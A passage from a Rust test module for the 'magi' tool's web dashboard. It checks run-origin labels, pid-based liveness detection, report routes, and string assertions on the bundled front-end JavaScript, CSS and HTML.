12245                "Add a web UI".to_owned(),
12246                Config::default(),
12247            );
12248            state.id = id.to_owned();
12249            state.origin = origin;
12250            let mut value = serde_json::to_value(&state).expect("serialize run");
12251            if let Some(schema) = schema {
12252                value["schema"] = serde_json::json!(schema);
12253                value.as_object_mut().unwrap().remove("origin");
12254            }
12255            let dir = f.runs().join(id);
12256            std::fs::create_dir_all(&dir).expect("run dir");
12257            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12258        };
12259        write(
12260            "20260930-092817-ec34",
12261            Some(crate::run::Origin::from_agent_env(
12262                Some(("4a7b".to_owned(), "chat".to_owned())),
12263                None,
12264            )),
12265            None,
12266        );
12267        write("20260930-092817-0ld1", None, Some(12));
12268
12269        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12270        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12271        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12272
12273        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12274        assert_eq!(
12275            old["origin_label"], "origin unknown (started before origins were recorded)",
12276            "{old}"
12277        );
12278        assert!(old["origin"].is_null(), "{old}");
12279
12280        let list = f.get("/api/runs").await.json();
12281        let labels: Vec<_> = list
12282            .as_array()
12283            .unwrap()
12284            .iter()
12285            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12286            .collect();
12287        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12288    }
12289
12290    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
12291    /// review` claims no daemon at all, so before this field existed the
12292    /// route above read it as `"dead"` — indistinguishable from a run a
12293    /// killed process abandoned — the whole time it was genuinely still
12294    /// answering. With a live pid recorded, it must read `"live"` even
12295    /// though no daemon claims it.
12296    #[tokio::test]
12297    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12298        let f = Fixture::start().await;
12299        let id = "20260922-090000-cccc";
12300        let mut state = RunState::new(
12301            PathBuf::from("/repo/magi"),
12302            "main".to_owned(),
12303            "0123456789abcdef".to_owned(),
12304            "Review only".to_owned(),
12305            Config::default(),
12306        );
12307        state.id = id.to_owned();
12308        state.status = RunStatus::Reviewing;
12309        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12310        // This test process's own pid: guaranteed alive, and never needs a
12311        // real daemon or a second process to prove it. The matching start-time
12312        // marker is what `liveness` now requires alongside a live pid — see
12313        // `RunState::driver_started_at`'s own doc for why the pid alone is
12314        // not enough.
12315        state.driver_pid = Some(std::process::id());
12316        state.driver_started_at = Some(
12317            crate::proc::process_started_at(std::process::id())
12318                .expect("this test process's own start time must be queryable"),
12319        );
12320        let dir = f.runs().join(id);
12321        std::fs::create_dir_all(&dir).expect("run dir");
12322        std::fs::write(
12323            dir.join("run.json"),
12324            serde_json::to_string_pretty(&state).expect("serialize run"),
12325        )
12326        .expect("write run.json");
12327
12328        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12329        assert_eq!(detail["live"], "live", "{detail}");
12330    }
12331
12332    /// A killed manual run's pid can be handed to a wholly unrelated later
12333    /// process — a live query on `driver_pid` alone would read this as
12334    /// `"live"`, exactly the false positive `driver_started_at` exists to
12335    /// catch (see that field's own doc, and `RunState::liveness_with`'s
12336    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
12337    #[tokio::test]
12338    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12339        let f = Fixture::start().await;
12340        let id = "20260922-090100-dddd";
12341        let mut state = RunState::new(
12342            PathBuf::from("/repo/magi"),
12343            "main".to_owned(),
12344            "0123456789abcdef".to_owned(),
12345            "Review only".to_owned(),
12346            Config::default(),
12347        );
12348        state.id = id.to_owned();
12349        state.status = RunStatus::Reviewing;
12350        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12351        // This test process's own pid really is alive, but the marker
12352        // recorded here does not match what it actually started at —
12353        // standing in for the pid having since been reused by a different
12354        // process than the one that wrote `run.json`.
12355        state.driver_pid = Some(std::process::id());
12356        state.driver_started_at = Some("1".to_owned());
12357        let dir = f.runs().join(id);
12358        std::fs::create_dir_all(&dir).expect("run dir");
12359        std::fs::write(
12360            dir.join("run.json"),
12361            serde_json::to_string_pretty(&state).expect("serialize run"),
12362        )
12363        .expect("write run.json");
12364
12365        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12366        assert_eq!(detail["live"], "dead", "{detail}");
12367    }
12368
12369    /// The deck's competition list is normally the first place an operator
12370    /// sees an old run. It must carry the same process verdict as detail, or
12371    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
12372    #[test]
12373    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12374        let mk = |id: &str, pid: Option<u32>| {
12375            let mut s = RunState::new(
12376                PathBuf::from("/repo/magi"),
12377                "main".to_owned(),
12378                "0123456789abcdef".to_owned(),
12379                "Add a web UI".to_owned(),
12380                Config::default(),
12381            );
12382            s.id = id.to_owned();
12383            s.driver_pid = pid;
12384            s.driver_started_at = Some("1790000000".to_owned());
12385            s
12386        };
12387        let states = vec![
12388            mk("20260902-140502-aaaa", Some(77)),
12389            mk("20260902-140502-bbbb", Some(77)),
12390            mk("20260902-140502-cccc", Some(77)),
12391            mk("20260902-140502-dddd", None),
12392        ];
12393        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12394        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12395        let sup: HashMap<String, String> = [(
12396            "20260902-140502-aaaa".to_owned(),
12397            "20260902-140502-cccc".to_owned(),
12398        )]
12399        .into();
12400
12401        let status_calls = std::cell::Cell::new(0);
12402        let identity_calls = std::cell::Cell::new(0);
12403        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12404            |_| {
12405                status_calls.set(status_calls.get() + 1);
12406                Some(true)
12407            },
12408            |_| {
12409                identity_calls.set(identity_calls.get() + 1);
12410                Some("1790000000".to_owned())
12411            },
12412        ));
12413        let rows = summarize(
12414            states,
12415            &open,
12416            &claimed,
12417            &sup,
12418            |p| probe.borrow_mut().status(p),
12419            |p| probe.borrow_mut().started_at(p),
12420        );
12421
12422        assert_eq!(status_calls.get(), 1, "one pid, one status query");
12423        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12424        assert_eq!(rows.len(), 4);
12425        assert!(!rows[0].waiting && rows[1].waiting);
12426        assert_eq!(rows[0].live, crate::run::Liveness::Live);
12427        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12428        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12429        assert_eq!(rows[1].superseded_by, None);
12430    }
12431
12432    #[test]
12433    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12434        let mut state = RunState::new(
12435            PathBuf::from("/repo/magi"),
12436            "main".to_owned(),
12437            "0123456789abcdef".to_owned(),
12438            "Review only".to_owned(),
12439            Config::default(),
12440        );
12441        state.id = "20260922-090200-dead".to_owned();
12442        state.status = RunStatus::Reviewing;
12443        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12444            .expect("serialize list row");
12445        assert_eq!(row["status"], "reviewing");
12446        assert_eq!(row["live"], "dead", "{row}");
12447        assert!(!row["done"].as_bool().unwrap());
12448    }
12449
12450    #[tokio::test]
12451    async fn the_run_list_is_newest_first_and_honours_a_limit() {
12452        let f = Fixture::start().await;
12453        for id in [
12454            "20260902-140501-aaaa",
12455            "20260902-140502-bbbb",
12456            "20260902-140503-cccc",
12457        ] {
12458            write_run(&f.runs(), id, RunStatus::Merged);
12459        }
12460
12461        let all = f.get("/api/runs").await.json();
12462        let capped = f.get("/api/runs?limit=2").await.json();
12463
12464        assert_eq!(all[0]["id"], "20260902-140503-cccc");
12465        assert_eq!(all.as_array().map(Vec::len), Some(3));
12466        assert_eq!(capped.as_array().map(Vec::len), Some(2));
12467        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12468    }
12469
12470    #[tokio::test]
12471    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12472        let f = Fixture::start().await;
12473        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12474
12475        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12476
12477        assert_eq!(res.status, 200);
12478        assert!(
12479            res.headers
12480                .contains("content-type: text/plain; charset=utf-8"),
12481            "a browser must render it, not download it: {}",
12482            res.headers
12483        );
12484        // The assertion is on content, not on the absence of escapes: colour
12485        // is a process-global that `serve` turns off at startup, and another
12486        // test in this binary may own it while this one runs.
12487        assert!(
12488            res.body.contains("20260902-140501-a1b2"),
12489            "the report is about the run that was asked for: {}",
12490            res.body
12491        );
12492    }
12493
12494    #[tokio::test]
12495    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12496        // The view names the run's state directory, which reads the process-global home.
12497        crate::run::pin_test_home();
12498        let f = Fixture::start().await;
12499        let id = "20260902-140501-a1b2";
12500        write_run(&f.runs(), id, RunStatus::Stalled);
12501        // A stalled panel and one review round, written through the real
12502        // state file so the route reads what a run really leaves behind.
12503        let path = f.runs().join(id).join("run.json");
12504        let mut v: serde_json::Value =
12505            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12506        v["tally"] = serde_json::json!({
12507            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12508            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12509            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12510            "met_quorum": false, "rankings": 1
12511        });
12512        v["reviews"] = serde_json::json!([{
12513            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12514            "e2e_deferred": true,
12515            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12516                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12517            ]}]
12518        }]);
12519        std::fs::write(&path, v.to_string()).unwrap();
12520        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12521        std::fs::write(
12522            f.runs().join("20260902-140502-dead").join("run.json"),
12523            "{not json",
12524        )
12525        .unwrap();
12526
12527        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12528
12529        assert_eq!(res.status, 200, "{}", res.body);
12530        assert!(res.headers.contains("content-type: application/json"));
12531        let j = res.json();
12532        assert_eq!(j["schema"], 1);
12533        assert_eq!(j["header"]["id"], id);
12534        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12535        let kinds: Vec<&str> = j["sections"]
12536            .as_array()
12537            .unwrap()
12538            .iter()
12539            .map(|s| s["kind"].as_str().unwrap())
12540            .collect();
12541        assert_eq!(kinds, ["candidates", "tally", "review"]);
12542        let tally = &j["sections"][1]["tally"];
12543        assert_eq!(
12544            (tally["decided"].clone(), tally["provisional"].clone()),
12545            (false.into(), true.into())
12546        );
12547        let round = &j["sections"][2]["rounds"][0];
12548        assert_eq!(round["e2e"]["state"], "deferred");
12549        assert_eq!(round["findings"][0]["severity"], "major");
12550        assert_eq!(round["findings"][0]["blocking"], true);
12551        assert_eq!(round["findings"][0]["state"], "open");
12552
12553        // The raw route keeps working beside it.
12554        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12555
12556        // An unreadable run is an error, as on the text route, and is counted.
12557        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12558        assert_ne!(bad.status, 200, "{}", bad.body);
12559        assert_eq!(
12560            bad.status,
12561            f.get("/api/runs/20260902-140502-dead/report").await.status
12562        );
12563        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12564        assert_eq!(
12565            f.get("/api/runs/20260902-999999-ffff/report.json")
12566                .await
12567                .status,
12568            404
12569        );
12570    }
12571
12572    #[tokio::test]
12573    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12574        let f = Fixture::start().await;
12575
12576        let html = f.get("/").await;
12577        let css = f.get("/app.css").await;
12578        let js = f.get("/app.js").await;
12579
12580        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12581        assert!(
12582            html.headers
12583                .contains("content-type: text/html; charset=utf-8")
12584        );
12585        assert!(css.headers.contains("content-type: text/css"));
12586        assert!(js.headers.contains("content-type: text/javascript"));
12587        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12588    }
12589
12590    #[test]
12591    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12592        let body = |name: &str| {
12593            let at = APP_JS
12594                .find(name)
12595                .unwrap_or_else(|| panic!("{name} missing"));
12596            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12597        };
12598        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12599        let note = body("function landRoundNote");
12600        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12601        assert!(note.contains("Land round ${round}"));
12602        let land = body("function renderLand");
12603        let note_at = land
12604            .find("landRoundNote(pr)")
12605            .expect("renderLand uses the note");
12606        assert!(
12607            note_at
12608                < land
12609                    .find("roundRail(pr)")
12610                    .expect("renderLand uses the rail")
12611        );
12612    }
12613
12614    #[test]
12615    fn the_runs_page_redesign_keeps_its_guards() {
12616        let body = |name: &str| {
12617            let at = APP_JS
12618                .find(name)
12619                .unwrap_or_else(|| panic!("{name} missing"));
12620            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12621        };
12622        // A null child must never reach the native append (it prints "null").
12623        let land = body("function renderLand");
12624        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12625        assert!(
12626            !land.contains("box.append("),
12627            "renderLand must use append()"
12628        );
12629        assert!(land.contains("append(box, ["));
12630        // Tabs are hash routes; the run id alone decides a reload.
12631        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12632        assert!(
12633            body("function applyRoute")
12634                .contains("route.name !== state.route.name || route.id !== state.route.id")
12635        );
12636        // The decorative diagram is gone, the strip and its guards stay.
12637        assert!(!APP_JS.contains("adviseConvergeDiagram"));
12638        assert!(!INDEX_HTML.contains("advise-converge"));
12639        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12640        assert!(APP_JS.contains("provisional"));
12641        for id in [
12642            "run-tab-overview",
12643            "run-tab-timeline",
12644            "run-tab-report",
12645            "run-report",
12646            "runs-scope",
12647        ] {
12648            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12649        }
12650        assert!(!INDEX_HTML.contains("runs-tree"));
12651        assert!(!INDEX_HTML.contains("run-raw-panel"));
12652        // Fold still says it cannot be resumed.
12653        assert!(APP_JS.contains("resume"));
12654        // The unreadable-runs count stays on the page.
12655        assert!(APP_JS.contains("unreadable"));
12656    }
12657
12658    #[test]
12659    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12660        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12661        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12662        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
12663        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12664        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12665        // The subtitle still counts them whatever the banner does.
12666        assert!(APP_JS.contains("unreadable` : null"));
12667    }
12668
12669    #[test]
12670    fn the_run_detail_payload_says_whether_the_run_is_done() {
12671        // `landView` reads `run.done`; the detail response must carry it.
12672        for (status, done) in [
12673            (RunStatus::Superseded, true),
12674            (RunStatus::Blocked, true),
12675            (RunStatus::Landing, false),
12676        ] {
12677            let mut state = RunState::new(
12678                std::path::PathBuf::from("/repo"),
12679                "main".to_owned(),
12680                "abc".to_owned(),
12681                "x".to_owned(),
12682                crate::config::Config::default(),
12683            );
12684            state.status = status;
12685            let v = serde_json::to_value(RunDetailView::of(
12686                state,
12687                crate::run::Liveness::Unknown,
12688                None,
12689                None,
12690                None,
12691            ))
12692            .unwrap();
12693            assert_eq!(v["done"], done, "{status:?}");
12694        }
12695    }
12696
12697    /// The first node of a markdown block holds a `strong` somewhere.
12698    fn has_strong(nodes: &[md::Node]) -> bool {
12699        serde_json::to_string(nodes).unwrap().contains("strong")
12700    }
12701
12702    #[test]
12703    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12704        let mut state = RunState::new(
12705            std::path::PathBuf::from("/repo"),
12706            "main".to_owned(),
12707            "abc".to_owned(),
12708            "x".to_owned(),
12709            crate::config::Config::default(),
12710        );
12711        let proposal = |approach: &str| {
12712            serde_json::json!({
12713                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12714            })
12715        };
12716        state.advice = Some(
12717            serde_json::from_value(serde_json::json!({
12718                "records": [
12719                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12720                     "proposal": proposal("do **this**")},
12721                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12722                ],
12723                "synthesis": "- one\n- **two**\n\n`code`",
12724            }))
12725            .unwrap(),
12726        );
12727        state.candidates = serde_json::from_value(serde_json::json!([
12728            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12729             "summary": "did **it**"},
12730            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12731        ]))
12732        .unwrap();
12733        // Recorded in ascending severity, the reverse of how the page sorts
12734        // them: the arrays must follow the record, not the display.
12735        state.reviews = serde_json::from_value(serde_json::json!([{
12736            "round": 1, "head": "h",
12737            "reviews": [{
12738                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12739                "findings": [
12740                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
12741                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12742                ],
12743            }],
12744            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12745            "fix": {"agent": "a", "notes": "fixed **it**",
12746                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12747        }, {"round": 2, "head": "h2", "reviews": []}]))
12748        .unwrap();
12749
12750        let v = serde_json::to_value(RunDetailView::of(
12751            state,
12752            crate::run::Liveness::Unknown,
12753            None,
12754            None,
12755            None,
12756        ))
12757        .unwrap();
12758
12759        let strong = |p: &str| {
12760            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12761            assert!(n.to_string().contains("strong"), "{p}: {n}");
12762        };
12763        strong("/advice_md/synthesis");
12764        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12765        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12766        strong("/advice_md/approaches/0");
12767        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12768        strong("/candidate_summaries_md/0");
12769        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12770        strong("/reviews_md/0/reviewers/0/summary");
12771        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12772        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12773        assert!(f[1].to_string().contains("strong"));
12774        strong("/reviews_md/0/reconsideration/0");
12775        strong("/reviews_md/0/fix/notes");
12776        strong("/reviews_md/0/fix/rejected/0");
12777        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12778        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12779        // The raw strings stay, and no schema moved.
12780        assert_eq!(v["candidates"][0]["summary"], "did **it**");
12781        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12782    }
12783
12784    #[test]
12785    fn a_run_without_advice_has_no_advice_md() {
12786        let state = RunState::new(
12787            std::path::PathBuf::from("/repo"),
12788            "main".to_owned(),
12789            "abc".to_owned(),
12790            "x".to_owned(),
12791            crate::config::Config::default(),
12792        );
12793        let p = run_prose_md(&state);
12794        assert!(p.advice_md.is_none());
12795        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12796    }
12797
12798    #[test]
12799    fn a_question_view_carries_markdown_for_each_thread_turn() {
12800        let home = TempDir::new().unwrap();
12801        let store = ask::Questions::at(home.path().join("questions"));
12802        let mut q = Question::new(
12803            "run".to_owned(),
12804            "implement".to_owned(),
12805            "impl-A".to_owned(),
12806            "which?".to_owned(),
12807            String::new(),
12808            Vec::new(),
12809        );
12810        q.say("plain words").unwrap();
12811        q.reply("use **this**", Vec::new()).unwrap();
12812        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12813        let bodies = &v["thread_bodies_md"];
12814        assert_eq!(bodies.as_array().unwrap().len(), 2);
12815        assert!(!bodies[0].to_string().contains("strong"));
12816        assert!(bodies[1].to_string().contains("strong"));
12817    }
12818
12819    #[test]
12820    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12821        let home = TempDir::new().unwrap();
12822        let store = ask::Questions::at(home.path().join("questions"));
12823        let mut q = Question::new(
12824            "run".to_owned(),
12825            "conduct".to_owned(),
12826            "conduct".to_owned(),
12827            "which?".to_owned(),
12828            String::new(),
12829            Vec::new(),
12830        );
12831        q.say("plain words").unwrap();
12832        q.thread.push(ask::Turn {
12833            who: ask::Who::Agent,
12834            body: "Settled as `merge`".to_owned(),
12835            at: jiff::Timestamp::now(),
12836            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12837        });
12838        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12839        let notes = &v["thread_notes_md"];
12840        assert_eq!(notes.as_array().unwrap().len(), 2);
12841        assert!(notes[0].is_null());
12842        let text = notes[1].to_string();
12843        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12844        assert!(APP_JS.contains("ask-turn-note"));
12845    }
12846
12847    #[test]
12848    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12849        // The land panel defers to `run.status` for merged, and labels a
12850        // recorded-open PR on any finished run (superseded, blocked, ...) as
12851        // last seen, never as live state.
12852        assert!(APP_JS.contains("function landView(run, raw) {"));
12853        assert!(
12854            APP_JS.contains(
12855                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12856            )
12857        );
12858        assert!(APP_JS.contains("const pr = landView(run, raw);"));
12859        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12860        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12861        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12862    }
12863
12864    #[test]
12865    fn live_runs_are_never_hidden_or_folded_as_superseded() {
12866        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
12867        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12868        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12869        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12870    }
12871
12872    #[test]
12873    fn review_rounds_label_a_distinct_verified_head() {
12874        assert!(APP_JS.contains("round.verified_head"));
12875        assert!(APP_JS.contains("verified HEAD"));
12876        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12877    }
12878
12879    #[test]
12880    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12881        // A blocked task's chip and note must not fall back to a queued-like
12882        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
12883        // itself by e11fc58 but never checked here.
12884        assert!(APP_JS.contains("blocked: { glyph:"));
12885        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12886
12887        // `blocked_by` mixes task ids and question ids in the same list, and
12888        // the client can only tell them apart by checking each id against
12889        // what it actually knows - never by guessing from the id's shape.
12890        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12891        assert!(
12892            APP_JS.contains(
12893                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12894            ),
12895            "the note line must name what a blocked task is waiting on, not just that it is blocked"
12896        );
12897        // The classification must key off `status_str`, never off `blocked_by`
12898        // or `block_reason` merely being present - both can survive briefly
12899        // on a task a hold or a dead daemon just moved off `blocked`.
12900        assert!(APP_JS.contains("if (status === \"blocked\") {"));
12901
12902        // A question a task is blocked on gets its own node in the same
12903        // dependency graph, not just a task-shaped node with nothing known
12904        // about it.
12905        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12906        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12907        assert!(
12908            APP_JS.contains("location.hash = \"#/questions\";"),
12909            "a question node must jump to the Questions screen, not pretend to be a task"
12910        );
12911
12912        // `Task::answers` - decisions already made - are shown as a record on
12913        // the card, the same disclosure style as the full instruction.
12914        assert!(APP_JS.contains("Resolved questions"));
12915        assert!(APP_JS.contains("r.answersList.append("));
12916        assert!(APP_CSS.contains(".task-answers"));
12917        {
12918            let start = APP_JS
12919                .find("function updateTalkTaskRow")
12920                .expect("updateTalkTaskRow");
12921            let body = &APP_JS[start..];
12922            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12923            assert!(
12924                body.contains(
12925                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12926                ),
12927                "a chat-filed task row must link to the task page"
12928            );
12929            assert!(
12930                !body.contains("#/runs/") && !body.contains("#/queue/"),
12931                "the row must not branch to a run or the queue card"
12932            );
12933            assert!(APP_CSS.contains(".talk-task-link"));
12934        }
12935    }
12936
12937    #[test]
12938    fn a_task_notification_links_to_the_task_page() {
12939        // A task notice opens the task detail page, not the Backlog card.
12940        let start = APP_JS
12941            .find("function noticeLink(")
12942            .expect("noticeLink exists");
12943        let body = &APP_JS[start..];
12944        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12945        assert!(
12946            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12947            "a task notice's link must target the task page"
12948        );
12949        assert!(
12950            !body.contains("#/queue/"),
12951            "regression: the task link must not go back to the Backlog route"
12952        );
12953        assert!(
12954            APP_JS.contains(
12955                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12956            ),
12957            "`#/tasks/<id>` must parse into the task route"
12958        );
12959
12960        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
12961        assert!(
12962            APP_JS.contains(
12963                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12964            ),
12965            "`#/queue/<id>` must parse into a route carrying that id"
12966        );
12967
12968        // And the Backlog view has to actually land on the card once it can
12969        // - see consumeQueueFocus(), which renderQueue() calls on every pass
12970        // so a focus set before the queue has loaded is retried once it has.
12971        assert!(APP_JS.contains("state.queueFocus = route.id;"));
12972        assert!(APP_JS.contains("function consumeQueueFocus()"));
12973        assert!(APP_JS.contains("jumpToTask(id)"));
12974    }
12975
12976    /// Chat rows are two lines at every width: the title alone, then the
12977    /// shrinkable secondary info.
12978    #[test]
12979    fn chat_rows_put_the_title_alone_on_the_first_line() {
12980        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
12981        assert!(APP_CSS.contains(
12982            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12983        ));
12984        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12985        assert!(APP_JS.contains("class: \"badge talk-unread\""));
12986    }
12987
12988    #[test]
12989    fn run_rows_put_the_title_alone_on_the_first_line() {
12990        assert!(
12991            APP_CSS.contains(
12992                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
12993            )
12994        );
12995        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12996        assert!(APP_JS.contains("class: \"card run-card\""));
12997        assert!(APP_JS.contains("class: \"repo run-id\""));
12998    }
12999
13000    /// Wide screens get a master/detail layout built from the views a phone
13001    /// drills into. These are string assertions: they pin the contract between
13002    /// the three assets, not how it looks.
13003    #[test]
13004    fn wide_screens_show_list_and_preview_side_by_side() {
13005        // One breakpoint, spelled the same in the script and the stylesheet.
13006        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13007        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13008        assert!(APP_CSS.contains("main[data-split]"));
13009        assert!(APP_CSS.contains("body[data-split]"));
13010
13011        // The route -> panes table, and a narrow screen opting out of it.
13012        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
13013        assert!(
13014            APP_JS.contains(
13015                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13016            )
13017        );
13018        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13019        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13020        assert!(INDEX_HTML.contains("id=\"split-empty\""));
13021
13022        // Selection is derived from the route, and only ever paints a row.
13023        assert!(APP_JS.contains("function markSelected() {"));
13024        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13025        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13026        // The dense row must override the stacked card the 720px block sets up.
13027        assert!(
13028            APP_CSS.contains(
13029                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13030            )
13031        );
13032
13033        // Independent scrolling: the page stops scrolling, each pane does.
13034        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13035        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13036        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13037        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13038
13039        // A refresh must never navigate: the loaders still check that their
13040        // subject is the one on screen, and crossing the breakpoint only
13041        // re-reads the hash.
13042        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
